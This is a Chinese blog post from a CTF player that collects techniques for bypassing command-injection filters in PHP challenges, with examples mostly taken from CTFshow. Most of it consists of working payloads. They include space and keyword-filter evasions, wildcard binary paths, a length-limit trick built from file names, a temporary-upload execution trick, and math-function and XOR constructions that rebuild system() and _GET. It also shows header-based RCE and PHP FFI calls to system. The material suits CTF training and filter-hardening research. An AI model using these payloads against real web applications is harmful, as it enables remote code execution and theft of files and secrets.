安小琪's blog

少年有梦,不应止于心动

命令执行绕过小技巧

重新对CTF中常见的命令执行绕过小技巧做了一个归纳总结

常见的系统命令执行函数

1
2
3
4
5
6
7
8
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行

管道符&通配符

windows 下

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

在linux系统中 有一些通配符

  • 匹配任何字符串/文本,包括空字符串;
  • *代表任意字符(0个或多个)
  • ? 匹配任何一个字符(不在括号内时)?代表任意1个字符
  • [abcd] 匹配abcd中任何一个字符
  • [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09


黑名单绕过

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

base64编码

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash (在bash被过滤的情况下可尝试sh)

单引号、双引号

c""at fl''ag

反斜线

c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''

$1、$2等和$@

1
2
3
4
5
6
7
8
9
$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误


cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

括号被过滤


内敛执行

cat$IFS$9`ls`

cat$IFS$9$(ls)

(内联,就是将``或$()内命令的输出作为输入执行)


利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

bin/

bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

/usr/bin目录:

?c=/???/???/????2 ????.??? —》 然后在url + /flag.php.bz2

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

post上传文件进行命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

首先构造一个post上传文件的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST文件上传</title>
</head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传一个php文件,文件内容

1
2
#!/bin/sh
ls

注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

上传抓包

抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令

注:这里为什么要传参数,以及参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了

1.php就是我们上传的可控的文件,我们传的参数c的值为 . /bin/phpXXXXXX,意思就是说匹配上传1.php文件所生成的临时文件,并执行之

可以看到flag.php文件,

用cat命令读取文件即可

无参数文件名构造

1
2
3
4
5
6
7
8
9
10
11
12
<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

例如这题,我们需要构造的文件名为36

payload:

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

glob遍历文件名

1
2
3
4
5
6
7
8
#poc
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

mysql的load_file读文件

1
2
3
4
5
6
7
8
9
10
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}exit(0);

FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag

1
2
3
4
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
exit();

数学函数白名单过滤

1
2
## 过滤模板  题目来源国赛 love_math
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
1
2
3
4
5
6
7
8
9
PHP函数:

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

数学函数利用

1
/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=<command>

分析

1
2
3
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串($$pi){pi}(($$pi){abs}) => ($_GET){pi}(($_GET){abs}) //{}可以代替[]

HeaderRCE

getallheaders — 获取全部 HTTP 请求头信息

1
2
3
/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

然后抓包在请求头中添加 1:cat /flag

分析

1
2
3
4
5
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

异或

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo " ";
}
}
}
?>

在运行结果中找到_GET即可,构造payload

is_nan^64==>_G

tan^15==>ET

1
/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

Linux中内置的bash变量

1
2
3
4
 构造nl flag.php
payload:${PATH:14:1}${PATH:5:1}

过滤了数字时:payload:${PATH:~A}${PWD:~A} ????.???

$PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用获取变量的最后几位,而字母起到的作用是和0相同的,所有${PATH:A}其实就是${PATH:~0}

过滤了path时

1
2
3
构造 /bin/base64 flag.php 

payload: ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

需要/和4两个字符就行,其他的可以用通配符代替

/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}`绕过: > SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。 只需要`${PWD::${SHLVL}},结果就是/

还有一个4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.

1
2
3
构造 /bin/cat flag.php 

paylaod: ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname为4个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替

过滤了SHLVL时

1
payload: ${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
1
2
## 过滤模板
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
1
2
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
1
2
root@npfs:~# echo ${#?}
1

过滤了#和PWD时

1
>payload: <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
1
2
## 过滤模板
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){

PWD过滤了可以用HOME代替,${HOME}默认是/root,接下去我们只要再找到1来代替${#SHLVL}

1
2
$?
执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

fuzz下发现题目没有过滤<,所以我们利用<A;报错。从而使$?返回值为1


例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> c=highlight_file('config.php');
> c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
> system('ca""t config.php')
> system("ca''t config.php")
> c=passthru("ca''t \`ls\`");
> c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
> c=passthru("ca''t \`ls\`")?>
> c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

> ?c=echo `$_POST[1]`?>
> post: 1=cat config.php

>?c=grep${IFS}%27{%27${IFS}fl???php
意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
> ?c=/???/????64%20????.???

文章中例题多来源于CTFshow web入门板块